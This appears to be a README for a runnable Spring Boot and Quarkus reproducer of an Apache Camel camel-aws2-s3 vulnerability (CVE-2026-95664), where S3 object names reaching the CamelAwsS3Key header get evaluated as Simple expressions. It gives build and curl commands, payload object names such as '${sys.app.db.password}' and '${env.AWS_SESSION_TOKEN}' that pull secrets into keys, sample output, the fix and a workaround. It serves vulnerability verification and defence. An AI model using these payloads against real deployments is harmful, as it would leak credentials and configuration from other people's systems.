
Runnable Spring Boot and Quarkus reproducer for CVE-2026-95664, demonstrating Simple expression injection via the CamelAwsS3Key header in camel-aws2-s3 and verifying the fix.
Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the camel-aws2-s3 producer
took the object key from the CamelAwsS3Key message header and — since 4.8.0 —
AWS2S3Utils.determineKey() passed that value to the Simple language whenever it contained ${ or
$simple{, so that a route could use a dynamic key. The evaluation applied to a value taken from the
header just as much as to the keyName option configured by the route.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-aws2-s3 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
The header is not route configuration. The aws2-s3 consumer sets CamelAwsS3Key on every exchange it
creates to the key of the object it read — that is, the name of the object in the bucket. In a route
that does nothing more than consume from one aws2-s3 endpoint and produce to another, the name of each
consumed object therefore reached the producer and was evaluated.
Anyone able to choose the name of an object in a bucket such a route consumes — typically any principal
allowed to upload to it — could have Simple expressions of their choosing evaluated inside the Camel
process. Simple can read JVM system properties, environment variables and configuration properties, which
commonly carry credentials, and, with camel-bean on the classpath, invoke methods on registry beans.
Configuring keyName on the producer was not a protection, because the header takes precedence over it.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Output on an affected build (identical on both runtimes):
Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client®ion=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.
Values the deployment holds but the route never references:
system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
environment AWS_SESSION_TOKEN = ENV-SESSION-TOKEN-s3cr3t-88
1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
key the producer wrote: [invoice-2026.pdf]
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
the JVM system property was resolved into the key: true
3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
the environment variable was resolved into the key: true
4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
key the producer wrote: [route1-D953127238C9F86-0000000000000000]
evaluated rather than used literally: true
5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
key the producer wrote: [archived.txt]
the configured keyName was used instead: true
>>> PROVEN: ...
Probe 5 is the workaround the advisory gives for deployments that cannot upgrade yet, shown working.
No AWS account and no network. The reproducer registers a recording stand-in for S3
(amazonS3Client=#s3Client) that captures the key the producer actually asked it to write — the one thing
that needs observing. The real AWS2S3Producer and the real AWS2S3Utils.determineKey() run; only the SDK
call at the very end is captured.
The driver sets CamelAwsS3Key to the consumed object's name, which is exactly what the aws2-s3 consumer
does, so the consumer side needs no bucket of its own.
The stand-in also answers
headBucket, becauseAWS2S3Endpoint.doStart()checks that the bucket exists before the route starts. That check is unrelated to the flaw.
| Property | Value |
|---|---|
| Component | camel-aws2-s3 (AWS2S3Utils.determineKey()) |
| CWE | CWE-917 (Expression Language Injection) |
| Severity | Medium |
| Attack vector | The name of an object in a bucket an aws2-s3 route consumes, containing ${ or $simple{, carried to the producer in CamelAwsS3Key |
| Impact | Evaluate Simple expressions in the Camel process: read system properties, environment variables and configuration properties; invoke methods on registry beans where camel-bean is present |
| Affected Versions | From 4.8.0 before 4.18.5, from 4.19.0 before 4.22.2 (releases before 4.8.0 used the header value as given and are not affected) |
| Fixed Versions | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24901 |
| Credit | Andrea Cosentino from Apache Software Foundation |
Advisory: https://camel.apache.org/security/CVE-2026-95664.html
The bucket name went through the same evaluation, but the consumer only ever places the bucket configured on its own endpoint in a bucket header, never a value derived from a remote object, so the bucket name was not reachable this way.
Only the key configured by the route may be a dynamic Simple expression. A key supplied through the header is now used literally and never evaluated:
String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
// only the configured key (supplied by the route) may be a dynamic simple expression;
// a key provided through the header is used literally and never evaluated
key = configuration.getKeyName();
if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}
Fixed on main in apache/camel#26746 (1fd7a667), with
backports to camel-4.22.x and camel-4.18.x.
After upgrading, a key or bucket name supplied through a message header is used literally — so a route
that deliberately put an unevaluated Simple expression in CamelAwsS3Key or CamelAwsS3OverrideBucketName
must now evaluate it in the route itself (setHeader(..., simple(...))) or configure it as the endpoint's
keyName / bucketName option.
Set camel.version to 4.22.2 and run it again. Verified against 4.22.1 → 4.22.2:
2) An object an uploader named '${sys.app.db.password}'
key the producer wrote: [${sys.app.db.password}]
the JVM system property was resolved into the key: false
4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
evaluated rather than used literally: false
>>> NOT reproduced: the header was used literally.
This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. Do not use this material against systems you do not own or operate.